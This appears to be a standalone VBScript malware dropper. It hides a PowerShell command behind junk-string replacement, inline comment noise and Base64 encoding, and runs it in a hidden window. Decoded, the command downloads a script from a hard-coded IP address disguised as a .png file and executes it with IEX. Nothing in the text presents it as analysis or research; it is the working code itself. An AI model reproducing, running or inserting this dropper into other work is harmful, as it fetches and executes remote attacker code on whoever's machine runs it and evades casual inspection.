With CreateObject(Replace("WSzxoemanrpt'zxoemanrptcript.Shell","zxoemanrpt'zxoemanrpt",""))
.Run "powershell $apdfvznbyw = [<#apdfvznbyw#>Text.Encoding<#apdfvznbyw#>]::ASCII.GetString(<#apdfvznbyw#>[Convert<#apdfvznbyw#>]::FromBase64String(<#xmkzqjwgsn#>'JGYxPSdJZVgoTmUnOyRmMiA9ICRmMSsnVy1PQkonOyRmMyA9ICRmMisnZUNUIE5lVC5XJzskTE9McD0nZUJDTCc7JG0xID0gJExPTHArJ0llTic7JG0zID0gJG0xKydUKS5ET1dOTE8nOyRTQ1Y9J09AMCgmKCcnaHR0cDovLzE2Ny4xMTQuNzcuMjQ6MjIyL3QucG5nJycpJy5SZVBMQUNlKCdPQDAoJicsJ0FEU1RSSU5HJyk7SWVYKCRmMyskbTMrJFNDVik7'<#xmkzqjwgsn#>));powershell $apdfvznbyw", 0, True
End With